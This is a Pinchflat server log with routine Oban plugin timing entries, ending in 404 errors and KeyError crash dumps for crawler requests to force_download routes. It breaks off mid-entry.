{"source":"oban","duration":557,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:14:17.309 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:47.311 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.127 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:15:17.313 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:47.315 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.128 [info] {"source":"oban","duration":452,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:16:17.321 [info] {"source":"oban","duration":4939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:47.325 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.129 [info] {"source":"oban","duration":542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:17:17.327 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:47.329 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.130 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:18:17.331 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:47.333 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.131 [info] {"source":"oban","duration":459,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:19:17.336 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:47.338 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.132 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:20:17.340 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:47.343 [info] {"source":"oban","duration":2922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.133 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:21:17.346 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:47.349 [info] {"source":"oban","duration":2576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.134 [info] {"source":"oban","duration":506,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:22:17.352 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:47.355 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.135 [info] {"source":"oban","duration":541,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:23:17.357 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:47.359 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.136 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:24:17.361 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:47.363 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.137 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:25:17.365 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:47.369 [info] {"source":"oban","duration":2910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.138 [info] {"source":"oban","duration":558,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:26:17.371 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:47.373 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.139 [info] {"source":"oban","duration":518,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:27:17.375 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:47.377 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.140 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:28:17.379 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:47.381 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.141 [info] {"source":"oban","duration":614,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:29:17.383 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:47.385 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.142 [info] {"source":"oban","duration":406,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:30:17.387 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:47.389 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.143 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:31:17.391 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:47.393 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.144 [info] {"source":"oban","duration":563,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:32:17.395 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:47.398 [info] {"source":"oban","duration":2043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.145 [info] {"source":"oban","duration":580,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:33:17.400 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:47.402 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.146 [info] {"source":"oban","duration":812,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:34:17.404 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:47.406 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.148 [info] {"source":"oban","duration":738,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:35:17.408 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:47.410 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.164 [info] {"source":"oban","duration":779,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:36:17.412 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:47.414 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.165 [info] {"source":"oban","duration":513,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:37:17.416 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:47.418 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.166 [info] {"source":"oban","duration":442,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:38:17.420 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:47.422 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.167 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:39:17.424 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:47.426 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.168 [info] {"source":"oban","duration":438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:40:17.428 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:47.430 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.169 [info] {"source":"oban","duration":485,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:41:17.432 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:47.434 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.171 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:42:17.437 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:47.439 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.172 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:43:17.441 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:47.443 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.173 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:44:17.445 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:47.449 [info] {"source":"oban","duration":3456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.174 [info] {"source":"oban","duration":526,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:45:17.451 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:47.453 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.175 [info] {"source":"oban","duration":553,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:46:17.455 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:47.457 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.176 [info] {"source":"oban","duration":474,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:47:17.459 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:47.461 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.177 [info] {"source":"oban","duration":523,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:48:17.463 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:47.465 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.178 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:49:17.467 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:47.469 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.179 [info] {"source":"oban","duration":573,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:50:17.471 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:47.473 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.180 [info] {"source":"oban","duration":456,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:51:17.475 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:47.477 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.181 [info] {"source":"oban","duration":495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:52:17.479 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:47.481 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.182 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:53:17.483 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:47.485 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.184 [info] {"source":"oban","duration":774,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:54:17.489 [info] {"source":"oban","duration":3697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:47.493 [info] {"source":"oban","duration":1950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.185 [info] {"source":"oban","duration":601,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:55:17.495 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:28.599 [info] GET /sources/2/media/23338/force_download 21:55:28.600 [debug] QUERY OK source="settings" db=0.7ms idle=1544.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:28.601 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=1545.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:28.602 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:55:28.603 [error] #PID<0.1309770.0> running PinchflatWeb.Endpoint (connection #PID<0.1309765.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/23338/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/23338/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/23338/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 40130}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309770.0>, params: %{}, path_info: ["sources", "2", "media", "23338", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/23338/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo0GpKemzfFnkADOSi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/23338/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 40130}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/23338/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/23338/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 40130}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309770.0>, params: %{}, path_info: ["sources", "2", "media", "23338", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/23338/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo0GpKemzfFnkADOSi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 21:55:29.182 [info] GET /sources/2/media/21741/force_download 21:55:29.184 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1127.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:29.185 [debug] QUERY OK source="settings" db=0.8ms queue=0.4ms idle=1129.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:29.185 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:55:29.186 [error] #PID<0.1309771.0> running PinchflatWeb.Endpoint (connection #PID<0.1309765.0>, stream id 3) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/21741/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/21741/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/21741/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 40130}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309771.0>, params: %{}, path_info: ["sources", "2", "media", "21741", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/21741/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo0I0NYlRmZ8EADOSy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/21741/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 40130}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/21741/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/21741/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 40130}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309771.0>, params: %{}, path_info: ["sources", "2", "media", "21741", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 